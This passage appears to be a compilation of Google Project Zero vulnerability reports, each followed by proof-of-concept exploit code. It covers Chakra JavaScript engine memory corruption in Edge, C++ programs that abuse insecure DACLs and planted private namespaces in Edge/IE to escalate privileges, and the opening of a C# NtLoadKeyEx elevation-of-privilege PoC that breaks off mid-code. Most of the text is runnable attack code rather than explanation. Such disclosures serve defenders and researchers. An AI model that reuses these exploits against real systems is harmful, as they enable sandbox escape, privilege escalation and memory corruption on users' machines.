      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);
var a = s.split(",");
var h = [];
for(item in a){
	var n = parseInt(a[item]);
     if (n < 0){
		n = n + 0x100000000;
     }
	var ss = n.toString(16);
      h.push(ss);
}
alert(h);

</script></body></html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=910

The spread operator in JavaScript allows an array to be treated as function parameters using the following syntax:

var a = [1,2];

f(...a);

This is implemented in the JavascriptFunction::SpreadArgs function in Chakra (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/JavascriptFunction.cpp). 

On line 1054 of this function, the following code is used to spread an array:

                        if (argsIndex + arr->GetLength() > destArgs.Info.Count)
                        {
                            AssertMsg(false, "The array length has changed since we allocated the destArgs buffer?");
                            Throw::FatalInternalError();
                        }

                        for (uint32 j = 0; j < arr->GetLength(); j++)
                        {
                            Var element;
                            if (!arr->DirectGetItemAtFull(j, &element))
                            {
                                element = undefined;
                            }
                            destArgs.Values[argsIndex++] = element;
                        } 

When DirectGetItemAtFull accesses the array, if an element of the array is undefined, it will fall back to the prototype of the array. In some situations, for example if the prototype is a Proxy, this can execute user-defined script, which can change the length of the array, meaning that the call can overflow destArgs.Values, even through the length has already been checked. Note that this check also has a potential integer overflow, which should also probably be fixed as a part of this issue.

A full PoC is attached.
-->

<html>
<script>
var y = 0;
var t = [1,2,3];
var t2 = [4,4,4];
var mp = new Proxy(t2, {
  get: function (oTarget, sKey) {
    var a = [1,2];
    a.reverse();
    alert("get " + sKey.toString());
    alert(oTarget.toString());
    y = y + 1;
    if(y == 2){
        var temp = [];
        oTarget.__proto__ = temp.__proto__;
	t.length = 10000;
        temp.fill.call(t, 7, 0, 1000);
        return 5;
    }
    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
  },
  set: function (oTarget, sKey, vValue) {
    alert("set " + sKey);
    if (sKey in oTarget) { return false; }
    return oTarget.setItem(sKey, vValue);
  },
  deleteProperty: function (oTarget, sKey) {
    alert("delete");
    if (sKey in oTarget) { return false; }
    return oTarget.removeItem(sKey);
  },
  enumerate: function (oTarget, sKey) {
    alert("enum");
    return oTarget.keys();
  },
  ownKeys: function (oTarget, sKey) {
    alert("ok");
    return oTarget.keys();
  },
  has: function (oTarget, sKey) {
    alert("has" + sKey);
    return true;
  },
  defineProperty: function (oTarget, sKey, oDesc) {
    alert("dp");
    if (oDesc && "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
    return oTarget;
  },
  getOwnPropertyDescriptor: function (oTarget, sKey) {
    alert("fopd");
    var vValue = oTarget.getItem(sKey);
    return vValue ? {
      value: vValue,
      writable: true,
      enumerable: true,
      configurable: false
    } : undefined;
  },
});

function f(a){

	alert(a);
}

var q = f;

t.length = 4;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      return temperature;
    }
  });

t.__proto__ = mp;
//t.__proto__.__proto__ = o;

q(...t);

</script>
</html>
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=879

Windows: Edge/IE Isolated Private Namespace Insecure DACL EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The isolated private namespace created by ierutils has a insecure DACL which allows any appcontainer process to gain elevated permissions on the namespace directory which could lead to elevation of privilege. 

Description:

In iertutils library IsoOpenPrivateNamespace creates a new Window private namespace (which is an isolated object directory which can be referred to using a boundary descriptor). The function calls CreatePrivateNamespace, setting an explicit DACL which gives the current user, ALL APPLICATION PACKAGES and also owner rights of GENERIC_ALL. This is a problem because this is the only security barrier protecting access to the private namespace, when an application has already created it, this means that for example we can from any other App Container open IE’s or Edge’s with Full Access.

Now how would you go about exploiting this? All the resources added to this isolated container use the default DACL of the calling process (which in IE’s case is usually the medium broker, and presumably in Edge is MicrosoftEdge.exe). The isolated container then adds explicit Low IL and Package SID ACEs to the created DACL of the object. So one way of exploiting this condition is to open the namespace for WRITE_DAC privilege and add inheritable ACEs to the DACL. When the kernel encounters inherited DACLs it ignores the token’s default DACL and applies the inherited permission. 

Doing this would result in any new object in the isolated namespace being created by Edge or IE being accessible to the attacker, also giving write access to resources such as IsoSpaceV2_ScopedTrusted which are not supposed to be writable for example from a sandboxed IE tab. I’ve not spent much time actually working out what is or isn’t exploitable but at the least you’d get some level of information disclosure and no doubt EoP.

Note that the boundary name isn’t an impediment to gaining access to the namespace as it’s something like IEUser_USERSID_MicrosoftEdge or IsoScope_PIDOFBROKER, both of which can be trivially determine or in worse case brute forced. You can’t create these namespaces from a lowbox token as the boundary descriptor doesn’t have the package SID, but in this case we don’t need to care. I’m submitted a bug for the other type of issue.

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You need to compile it first targeted with Visual Studio 2015. It will look for a copy of MicrosoftEdge.exe and get its PID (this could be done as brute force), it will then impersonate a lowbox token which shouldn’t have access to any of Edge’s isolated namespace and tries to change the DACL of the root namespace object. 

NOTE: For some reason this has a habit of causing MicrosoftEdge.exe to die with a security exception especially on x64. Perhaps it’s checking the DACL somewhere, but I very much doubt it. I’ve not worked out if this is some weird memory corruption occurring (although there’s a chance it wouldn’t be exploitable). 

1) Compile the C++ source code file.
2) Start a copy of Edge. You might want to navigate a tab somewhere. 
3) Execute the PoC executable as a normal user
4) It should successfully open the namespace and change the DACL.

Expected Result:
Access to the private namespace is not allowed.

Observed Result:
Access to the private namespace is granted and the DACL of the directory has been changed to a set of inherited permissions which will be used.
*/

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <winternl.h>
#include <sddl.h>
#include <memory>
#include <string>
#include <TlHelp32.h>
#include <strstream>
#include <sstream>

typedef NTSTATUS(WINAPI* NtCreateLowBoxToken)(
  OUT PHANDLE token,
  IN HANDLE original_handle,
  IN ACCESS_MASK access,
  IN POBJECT_ATTRIBUTES object_attribute,
  IN PSID appcontainer_sid,
  IN DWORD capabilityCount,
  IN PSID_AND_ATTRIBUTES capabilities,
  IN DWORD handle_count,
  IN PHANDLE handles);

struct HandleDeleter
{
  typedef HANDLE pointer;
  void operator()(HANDLE handle)
  {
    if (handle && handle != INVALID_HANDLE_VALUE)
    {
      DWORD last_error = ::GetLastError();
      CloseHandle(handle);
      ::SetLastError(last_error);
    }
  }
};

typedef std::unique_ptr<HANDLE, HandleDeleter> scoped_handle;

struct LocalFreeDeleter
{
  typedef void* pointer;
  void operator()(void* p)
  {
    if (p)
      ::LocalFree(p);
  }
};

typedef std::unique_ptr<void, LocalFreeDeleter> local_free_ptr;

struct PrivateNamespaceDeleter
{
  typedef HANDLE pointer;
  void operator()(HANDLE handle)
  {
    if (handle && handle != INVALID_HANDLE_VALUE)
    {
      ::ClosePrivateNamespace(handle, 0);
    }
  }
};

struct scoped_impersonation
{
  BOOL _impersonating;
public:
  scoped_impersonation(const scoped_handle& token) {
    _impersonating = ImpersonateLoggedOnUser(token.get());
  }

  scoped_impersonation() {
    if (_impersonating)
      RevertToSelf();
  }

  BOOL impersonation() {
    return _impersonating;
  }
};

typedef std::unique_ptr<HANDLE, PrivateNamespaceDeleter> private_namespace;

std::wstring GetCurrentUserSid()
{
  HANDLE token = nullptr;
  if (!OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
    return false;
  std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);

  DWORD size = sizeof(TOKEN_USER) + SECURITY_MAX_SID_SIZE;
  std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
  TOKEN_USER* user = reinterpret_cast<TOKEN_USER*>(user_bytes.get());

  if (!::GetTokenInformation(token, TokenUser, user, size, &size))
    return false;

  if (!user->User.Sid)
    return false;

  LPWSTR sid_name;
  if (!ConvertSidToStringSid(user->User.Sid, &sid_name))
    return false;

  std::wstring ret = sid_name;
  ::LocalFree(sid_name);
  return ret;
}

std::wstring GetCurrentLogonSid()
{
  HANDLE token = NULL;
  if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
    return false;
  std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);

  DWORD size = sizeof(TOKEN_GROUPS) + SECURITY_MAX_SID_SIZE;
  std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
  TOKEN_GROUPS* groups = reinterpret_cast<TOKEN_GROUPS*>(user_bytes.get());

  memset(user_bytes.get(), 0, size);

  if (!::GetTokenInformation(token, TokenLogonSid, groups, size, &size))
    return false;

  if (groups->GroupCount != 1)
    return false;

  LPWSTR sid_name;
  if (!ConvertSidToStringSid(groups->Groups[0].Sid, &sid_name))
    return false;

  std::wstring ret = sid_name;
  ::LocalFree(sid_name);
  return ret;
}

class BoundaryDescriptor
{
public:
  BoundaryDescriptor()
    : boundary_desc_(nullptr) {
  }

  ~BoundaryDescriptor() {
    if (boundary_desc_) {
      DeleteBoundaryDescriptor(boundary_desc_);
    }
  }

  bool Initialize(const wchar_t* name) {
    boundary_desc_ = ::CreateBoundaryDescriptorW(name, 0);
    if (!boundary_desc_)
      return false;

    return true;
  }

  bool AddSid(LPCWSTR sid_str)
  {
    if (_wcsicmp(sid_str, L"CU") == 0)
    {
      return AddSid(GetCurrentUserSid().c_str());
    }
    else
    {
      PSID p = nullptr;

      if (!::ConvertStringSidToSid(sid_str, &p))
      {
        return false;
      }

      std::unique_ptr<void, LocalFreeDeleter> buf(p);

      SID_IDENTIFIER_AUTHORITY il_id_auth = { { 0,0,0,0,0,0x10 } };
      PSID_IDENTIFIER_AUTHORITY sid_id_auth = GetSidIdentifierAuthority(p);

      if (memcmp(il_id_auth.Value, sid_id_auth->Value, sizeof(il_id_auth.Value)) == 0)
      {
        return !!AddIntegrityLabelToBoundaryDescriptor(&boundary_desc_, p);
      }
      else
      {
        return !!AddSIDToBoundaryDescriptor(&boundary_desc_, p);
      }
    }
  }

  HANDLE boundry_desc() {
    return boundary_desc_;
  }

private:
  HANDLE boundary_desc_;
};

scoped_handle CreateLowboxToken()
{
  PSID package_sid_p;
  if (!ConvertStringSidToSid(L"S-1-15-2-1-1-1-1-1-1-1-1-1-1-1", &package_sid_p))
  {
    printf("[ERROR] creating SID: %d\n", GetLastError());
    return nullptr;
  }
  local_free_ptr package_sid(package_sid_p);

  HANDLE process_token_h;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &process_token_h))
  {
    printf("[ERROR] error opening process token SID: %d\n", GetLastError());
    return nullptr;
  }

  scoped_handle process_token(process_token_h);  

  NtCreateLowBoxToken fNtCreateLowBoxToken = (NtCreateLowBoxToken)GetProcAddress(GetModuleHandle(L"ntdll"), "NtCreateLowBoxToken");
  HANDLE lowbox_token_h;
  OBJECT_ATTRIBUTES obja = {};
  obja.Length = sizeof(obja);

  NTSTATUS status = fNtCreateLowBoxToken(&lowbox_token_h, process_token_h, TOKEN_ALL_ACCESS, &obja, package_sid_p, 0, nullptr, 0, nullptr);
  if (status != 0)
  {
    printf("[ERROR] creating lowbox token: %08X\n", status);
    return nullptr;
  }

  scoped_handle lowbox_token(lowbox_token_h);
  HANDLE imp_token;

  if (!DuplicateTokenEx(lowbox_token_h, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenImpersonation, &imp_token))
  {
    printf("[ERROR] duplicating lowbox: %d\n", GetLastError());
    return nullptr;
  }

  return scoped_handle(imp_token);
}

DWORD FindMicrosoftEdgeExe()
{
  scoped_handle th_snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
  if (!th_snapshot)
  {
    printf("[ERROR] getting snapshot: %d\n", GetLastError());
    return 0;
  }
  PROCESSENTRY32 proc_entry = {};
  proc_entry.dwSize = sizeof(proc_entry);

  if (!Process32First(th_snapshot.get(), &proc_entry))
  {
    printf("[ERROR] enumerating snapshot: %d\n", GetLastError());
    return 0;
  }

  do
  {
    if (_wcsicmp(proc_entry.szExeFile, L"microsoftedge.exe") == 0)
    {
      return proc_entry.th32ProcessID;
    }
    proc_entry.dwSize = sizeof(proc_entry);
  } while (Process32Next(th_snapshot.get(), &proc_entry));

  return 0;
}

void ChangeDaclOnNamespace(LPCWSTR name, const scoped_handle& token)
{
  BoundaryDescriptor boundry;
  if (!boundry.Initialize(name))
  {
    printf("[ERROR] initializing boundary descriptor: %d\n", GetLastError());
    return;
  }

  PSECURITY_DESCRIPTOR psd;
  ULONG sd_size = 0;
  std::wstring sddl = L"D:(A;OICI;GA;;;WD)(A;OICI;GA;;;AC)(A;OICI;GA;;;WD)(A;OICI;GA;;;S-1-0-0)";
  sddl += L"(A;OICI;GA;;;" + GetCurrentUserSid() + L")";
  sddl += L"(A;OICI;GA;;;" + GetCurrentLogonSid() + L")";
  sddl += L"S:(ML;OICI;NW;;;S-1-16-0)";

  if (!ConvertStringSecurityDescriptorToSecurityDescriptor(sddl.c_str(), SDDL_REVISION_1, &psd, &sd_size))
  {
    printf("[ERROR] converting SDDL: %d\n", GetLastError());
    return;
  }
  std::unique_ptr<void, LocalFreeDeleter> sd_buf(psd);

  scoped_impersonation imp(token);
  if (!imp.impersonation())
  {
    printf("[ERROR] impersonating lowbox: %d\n", GetLastError());
    return;
  }

  private_namespace ns(OpenPrivateNamespace(boundry.boundry_desc(), name));
  if (!ns)
  {
    printf("[ERROR] opening private namespace - %ls: %d\n", name, GetLastError());
    return;
  }

  if (!SetKernelObjectSecurity(ns.get(), DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION, psd))
  {
    printf("[ERROR] setting DACL on %ls: %d\n", name, GetLastError());
    return;
  }

  printf("[SUCCESS] Opened Namespace and Reset DACL %ls\n", name);  
}

int main()
{
  scoped_handle lowbox_token = CreateLowboxToken();
  if (!lowbox_token)
  {
    return 1;
  }

  std::wstring user_sid = GetCurrentUserSid();  
  DWORD pid = FindMicrosoftEdgeExe();
  if (pid == 0)
  {
    printf("[ERROR] Couldn't find MicrosoftEdge.exe running\n");
    return 1;
  }

  printf("[SUCCESS] Found Edge Browser at PID: %X\n", pid);

  std::wstringstream ss;

  ss << L"IsoScope_" << std::hex << pid;

  ChangeDaclOnNamespace(ss.str().c_str(), lowbox_token);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=878

Windows: Edge/IE Isolated Private Namespace Insecure Boundary Descriptor EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The isolated private namespace created by ierutils has an insecure Boundary Descriptor which allows any non-appcontainer sandbox process (such as chrome) or other users on the same system to gain elevated permissions on the namespace directory which could lead to elevation of privilege. 

Description:

In iertutils library IsoOpenPrivateNamespace creates a new Window private namespace (which is an isolated object directory which can be referred to using a boundary descriptor). The function in most cases first calls OpenPrivateNamespace before falling back to CreatePrivateNamespace. The boundary descriptor used for this operation only has an easily guessable name, so it’s possible for another application to create the namespace prior to Edge/IE starting, ensuring the directory and other object’s created underneath are accessible. 

In order to attack this the Edge/IE process has to have not been started yet. This might be the case if trying to exploit from another sandbox application or from another user. The per-user namespace IEUser_USERSID_MicrosoftEdge is trivially guessable, however the  IsoScope relies on the PID of the process. However there’s no limit on the number of private namespaces a process can register (seems to just be based on resource consumption limits). I’ve easily created 100,000 with different names before I gave up, so it would be trivial to plant the namespace name for any new Edge process, set the DACL as appropriate and wait for the user to login. 

Also note on IE that the Isolated Scope namespace seems to be created before opened which would preclude this attack on that type, but it would still be exploitable on the per-user one. 

Doing this would result in any new object in the isolated namespace being created by Edge or IE being accessible to the attacker. I’ve not spent much time actually working out what is or isn’t exploitable but at the least you’d get some level of information disclosure and no doubt some potential for EoP.

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You need to compile it first targeted with Visual Studio 2015. It will create the user namespace. 

1) Compile the C++ source code file.
2) Execute the PoC as another different user to the current one on the same system, this using runas. Pass the name of the user to spoof on the command line. 
3) Start a copy of Edge
4) The PoC should print that it’s found and accessed the !PrivacIE!SharedMem!Settings section from the new Edge process.

Expected Result:
Planting the private namespace is not allowed.

Observed Result:
Access to the private namespace is granted and the DACL of the directory is set set to a list of inherited permissions which will be used for new objects.
*/

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <winternl.h>
#include <sddl.h>
#include <memory>
#include <string>
#include <TlHelp32.h>
#include <strstream>
#include <sstream>

typedef NTSTATUS(WINAPI* NtCreateLowBoxToken)(
  OUT PHANDLE token,
  IN HANDLE original_handle,
  IN ACCESS_MASK access,
  IN POBJECT_ATTRIBUTES object_attribute,
  IN PSID appcontainer_sid,
  IN DWORD capabilityCount,
  IN PSID_AND_ATTRIBUTES capabilities,
  IN DWORD handle_count,
  IN PHANDLE handles);

struct HandleDeleter
{
  typedef HANDLE pointer;
  void operator()(HANDLE handle)
  {
    if (handle && handle != INVALID_HANDLE_VALUE)
    {
      DWORD last_error = ::GetLastError();
      CloseHandle(handle);
      ::SetLastError(last_error);
    }
  }
};

typedef std::unique_ptr<HANDLE, HandleDeleter> scoped_handle;

struct LocalFreeDeleter
{
  typedef void* pointer;
  void operator()(void* p)
  {
    if (p)
      ::LocalFree(p);
  }
};

typedef std::unique_ptr<void, LocalFreeDeleter> local_free_ptr;

struct PrivateNamespaceDeleter
{
  typedef HANDLE pointer;
  void operator()(HANDLE handle)
  {
    if (handle && handle != INVALID_HANDLE_VALUE)
    {
      ::ClosePrivateNamespace(handle, 0);
    }
  }
};

struct scoped_impersonation
{
  BOOL _impersonating;
public:
  scoped_impersonation(const scoped_handle& token) {
    _impersonating = ImpersonateLoggedOnUser(token.get());
  }

  scoped_impersonation() {
    if (_impersonating)
      RevertToSelf();
  }

  BOOL impersonation() {
    return _impersonating;
  }
};

typedef std::unique_ptr<HANDLE, PrivateNamespaceDeleter> private_namespace;

std::wstring GetCurrentUserSid()
{
  HANDLE token = nullptr;
  if (!OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
    return false;
  std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);

  DWORD size = sizeof(TOKEN_USER) + SECURITY_MAX_SID_SIZE;
  std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
  TOKEN_USER* user = reinterpret_cast<TOKEN_USER*>(user_bytes.get());

  if (!::GetTokenInformation(token, TokenUser, user, size, &size))
    return false;

  if (!user->User.Sid)
    return false;

  LPWSTR sid_name;
  if (!ConvertSidToStringSid(user->User.Sid, &sid_name))
    return false;

  std::wstring ret = sid_name;
  ::LocalFree(sid_name);
  return ret;
}

std::wstring GetCurrentLogonSid()
{
  HANDLE token = NULL;
  if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
    return false;
  std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);

  DWORD size = sizeof(TOKEN_GROUPS) + SECURITY_MAX_SID_SIZE;
  std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
  TOKEN_GROUPS* groups = reinterpret_cast<TOKEN_GROUPS*>(user_bytes.get());

  memset(user_bytes.get(), 0, size);

  if (!::GetTokenInformation(token, TokenLogonSid, groups, size, &size))
    return false;

  if (groups->GroupCount != 1)
    return false;

  LPWSTR sid_name;
  if (!ConvertSidToStringSid(groups->Groups[0].Sid, &sid_name))
    return false;

  std::wstring ret = sid_name;
  ::LocalFree(sid_name);
  return ret;
}

class BoundaryDescriptor
{
public:
  BoundaryDescriptor()
    : boundary_desc_(nullptr) {
  }

  ~BoundaryDescriptor() {
    if (boundary_desc_) {
      DeleteBoundaryDescriptor(boundary_desc_);
    }
  }

  bool Initialize(const wchar_t* name) {
    boundary_desc_ = ::CreateBoundaryDescriptorW(name, 0);
    if (!boundary_desc_)
      return false;

    return true;
  }

  bool AddSid(LPCWSTR sid_str)
  {
    if (_wcsicmp(sid_str, L"CU") == 0)
    {
      return AddSid(GetCurrentUserSid().c_str());
    }
    else
    {
      PSID p = nullptr;

      if (!::ConvertStringSidToSid(sid_str, &p))
      {
        return false;
      }

      std::unique_ptr<void, LocalFreeDeleter> buf(p);

      SID_IDENTIFIER_AUTHORITY il_id_auth = { { 0,0,0,0,0,0x10 } };
      PSID_IDENTIFIER_AUTHORITY sid_id_auth = GetSidIdentifierAuthority(p);

      if (memcmp(il_id_auth.Value, sid_id_auth->Value, sizeof(il_id_auth.Value)) == 0)
      {
        return !!AddIntegrityLabelToBoundaryDescriptor(&boundary_desc_, p);
      }
      else
      {
        return !!AddSIDToBoundaryDescriptor(&boundary_desc_, p);
      }
    }
  }

  HANDLE boundry_desc() {
    return boundary_desc_;
  }

private:
  HANDLE boundary_desc_;
};

scoped_handle CreateLowboxToken()
{
  PSID package_sid_p;
  if (!ConvertStringSidToSid(L"S-1-15-2-1-1-1-1-1-1-1-1-1-1-1", &package_sid_p))
  {
    printf("[ERROR] creating SID: %d\n", GetLastError());
    return nullptr;
  }
  local_free_ptr package_sid(package_sid_p);

  HANDLE process_token_h;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &process_token_h))
  {
    printf("[ERROR] error opening process token SID: %d\n", GetLastError());
    return nullptr;
  }

  scoped_handle process_token(process_token_h);

  NtCreateLowBoxToken fNtCreateLowBoxToken = (NtCreateLowBoxToken)GetProcAddress(GetModuleHandle(L"ntdll"), "NtCreateLowBoxToken");
  HANDLE lowbox_token_h;
  OBJECT_ATTRIBUTES obja = {};
  obja.Length = sizeof(obja);

  NTSTATUS status = fNtCreateLowBoxToken(&lowbox_token_h, process_token_h, TOKEN_ALL_ACCESS, &obja, package_sid_p, 0, nullptr, 0, nullptr);
  if (status != 0)
  {
    printf("[ERROR] creating lowbox token: %08X\n", status);
    return nullptr;
  }

  scoped_handle lowbox_token(lowbox_token_h);
  HANDLE imp_token;

  if (!DuplicateTokenEx(lowbox_token_h, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenImpersonation, &imp_token))
  {
    printf("[ERROR] duplicating lowbox: %d\n", GetLastError());
    return nullptr;
  }

  return scoped_handle(imp_token);
}

DWORD FindMicrosoftEdgeExe()
{
  scoped_handle th_snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
  if (!th_snapshot)
  {
    printf("[ERROR] getting snapshot: %d\n", GetLastError());
    return 0;
  }
  PROCESSENTRY32 proc_entry = {};
  proc_entry.dwSize = sizeof(proc_entry);

  if (!Process32First(th_snapshot.get(), &proc_entry))
  {
    printf("[ERROR] enumerating snapshot: %d\n", GetLastError());
    return 0;
  }

  do
  {
    if (_wcsicmp(proc_entry.szExeFile, L"microsoftedge.exe") == 0)
    {
      return proc_entry.th32ProcessID;
    }
    proc_entry.dwSize = sizeof(proc_entry);
  } while (Process32Next(th_snapshot.get(), &proc_entry));

  return 0;
}

void CreateNamespaceForUser(LPCWSTR account_name)
{
  BYTE sid_bytes[MAX_SID_SIZE];
  WCHAR domain[256];
  SID_NAME_USE name_use;
  DWORD sid_size = MAX_SID_SIZE;
  DWORD domain_size = _countof(domain);

  if (!LookupAccountName(nullptr, account_name, (PSID)sid_bytes, &sid_size, domain, &domain_size, &name_use))
  {
    printf("[ERROR] getting SId for account %ls: %d\n", account_name, GetLastError());
    return;
  }

  LPWSTR sid_str;
  ConvertSidToStringSid((PSID)sid_bytes, &sid_str);

  std::wstring boundary_name = L"IEUser_";
  boundary_name += sid_str;
  boundary_name += L"_MicrosoftEdge";

  BoundaryDescriptor boundry;
  if (!boundry.Initialize(boundary_name.c_str()))
  {
    printf("[ERROR] initializing boundary descriptor: %d\n", GetLastError());
    return;
  }

  PSECURITY_DESCRIPTOR psd;
  ULONG sd_size = 0;
  std::wstring sddl = L"D:(A;OICI;GA;;;WD)(A;OICI;GA;;;AC)(A;OICI;GA;;;WD)(A;OICI;GA;;;S-1-0-0)";
  sddl += L"(A;OICI;GA;;;" + GetCurrentUserSid() + L")";
  sddl += L"(A;OICI;GA;;;" + GetCurrentLogonSid() + L")";
  sddl += L"S:(ML;OICI;NW;;;S-1-16-0)";

  if (!ConvertStringSecurityDescriptorToSecurityDescriptor(sddl.c_str(), SDDL_REVISION_1, &psd, &sd_size))
  {
    printf("[ERROR] converting SDDL: %d\n", GetLastError());
    return;
  }
  std::unique_ptr<void, LocalFreeDeleter> sd_buf(psd);

  SECURITY_ATTRIBUTES secattr = {};
  secattr.nLength = sizeof(secattr);
  secattr.lpSecurityDescriptor = psd;

  private_namespace ns(CreatePrivateNamespace(&secattr, boundry.boundry_desc(), boundary_name.c_str()));
  if (!ns)
  {
    printf("[ERROR] creating private namespace - %ls: %d\n", boundary_name.c_str(), GetLastError());
    return;
  }

  printf("[SUCCESS] Created Namespace %ls, start Edge as other user\n", boundary_name.c_str());
  
  std::wstring section_name = boundary_name + L"\\!PrivacIE!SharedMem!Settings";

  while (true)
  {
    HANDLE hMapping = OpenFileMapping(FILE_MAP_READ | FILE_MAP_WRITE, FALSE, section_name.c_str());
    if (hMapping)
    {
      printf("[SUCCESS] Opened other user's !PrivacIE!SharedMem!Settings section for write access\n");
      return;
    }
    Sleep(1000);
  }
}

int wmain(int argc, wchar_t** argv)
{
  if (argc < 2)
  {
    printf("PoC username to access\n");
    return 1;
  }
  CreateNamespaceForUser(argv[1]);
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=871

Windows: NtLoadKeyEx Read Only Hive Arbitrary File Write EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
NtLoadKeyEx takes a flag to open a registry hive read only, if one of the hive files cannot be opened for read access it will revert to write mode and also impersonate the calling process. This can leading to EoP if a user controlled hive is opened in a system service.

Description:

One of the flags to NtLoadKeyEx is to open a registry hive with read only access. When this flag is passed the main hive file is opened for Read only, and no log files are opened or created. However there’s a bug in the kernel function CmpCmdHiveOpen, initially it calls CmpInitHiveFromFile passing flag 1 in the second parameter which means open read-only. However if this fails with a number of error codes, including STATUS_ACCESS_DENIED it will recall the initialization function while impersonating the calling process, but it forgets to pass the read only flag. This means if the initial access fails, it will instead open the hive in write mode which will create the log files etc.

An example where this is used is in the WinRT COM activation routines of RPCSS. The GetPrivateHiveKeyFromPackageFullName method explicitly calls NtLoadKeyEx with the read only flag (rather than calling RegLoadAppKey which will not). As this is opening a user ActivationStore.dat hive inside the AppData\Local\Packages directory in the user’s profile it’s possible to play tricks with symbolic links to cause the opening of the hive inside the DCOM service to fail as the normal user then write the log files out as SYSTEM (as it calls RtlImpersonateSelfEx). 

This is made all the worse because of the behaviour of the file creation routines. When the log files are being created the kernel copies the DACL from the main hive file to the new log files. This means that although we don’t really control the log file contents we can redirect the write to an arbitrary location (and using symlink tricks ensure the name is suitable) then reopen the file as it has an explicit DACL copied from the main hive we control and we can change the file’s contents to whatever you like. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targetted .NET 4 and above. I’ve verified you can exploit RPCSS manually, however without substantial RE it wouldn’t be a very reliable PoC, so instead I’ve just provided an example file you can fun as a normal user. This will impersonate the anonymous token while opening the hive (which in reality would be DACL’ed to block the user from opening for read access) and we verify that the log files are created. 

1) Compile the C# source code file.
2) Execute the PoC executable as a normal user.
3) The PoC should print that it successfully opened the hive in write mode.

Expected Result:
The hive fails to open, or at least only opens in read-only mode.

Observed Result:
The hive is opened in write mode incorrectly which can be abused to elevate privileges. 
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

namespace PoC_NtLoadKeyEx_ReadOnlyFlag_EoP
{
  class Program
  {
    [Flags]
    public enum AttributeFlags : uint
    {
      None = 0,
      Inherit = 0x00000002,
      Permanent = 0x00000010,
      Exclusive = 0x00000020,
      CaseInsensitive = 0x00000040,
      OpenIf = 0x00000080,
      OpenLink = 0x00000100,
      KernelHandle = 0x00000200,
      ForceAccessCheck = 0x00000400,
      IgnoreImpersonatedDevicemap = 0x00000800,
      DontReparse = 0x00001000,
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class UnicodeString
    {
      ushort Length;
      ushort MaximumLength;
      [MarshalAs(UnmanagedType.LPWStr)]
      string Buffer;

      public UnicodeString(string str)
      {
        Length = (ushort)(str.Length * 2);
        MaximumLength = (ushort)((str.Length * 2) + 1);
        Buffer = str;
      }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class ObjectAttributes : IDisposable
    {
      int Length;
      IntPtr RootDirectory;
      IntPtr ObjectName;
      AttributeFlags Attributes;
      IntPtr SecurityDescriptor;
      IntPtr SecurityQualityOfService;

      private static IntPtr AllocStruct(object s)
      {
        int size = Marshal.SizeOf(s);
        IntPtr ret = Marshal.AllocHGlobal(size);
        Marshal.StructureToPtr(s, ret, false);
        return ret;
      }

      private static void FreeStruct(ref IntPtr p, Type struct_type)
      {
        Marshal.DestroyStructure(p, struct_type);
        Marshal.FreeHGlobal(p);
        p = IntPtr.Zero;
      }

      public ObjectAttributes(string object_name)
      {
        Length = Marshal.SizeOf(this);
        if (object_name != null)
        {
          ObjectName = AllocStruct(new UnicodeString(object_name));
        }
        Attributes = AttributeFlags.None;
      }

      public void Dispose()
      {
        if (ObjectName != IntPtr.Zero)
        {
          FreeStruct(ref ObjectName, typeof(UnicodeString));
        }
        GC.SuppressFinalize(this);
      }

      ~ObjectAttributes()
      {
        Dispose();
      }
    }

    [Flags]
    public enum LoadKeyFlags
    {
      None = 0,
      AppKey = 0x10,
      Exclusive = 0x20,
      Unknown800 = 0x800,
      ReadOnly = 0x2000,
    }

    [Flags]
    public enum GenericAccessRights : uint
    {
      None = 0,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
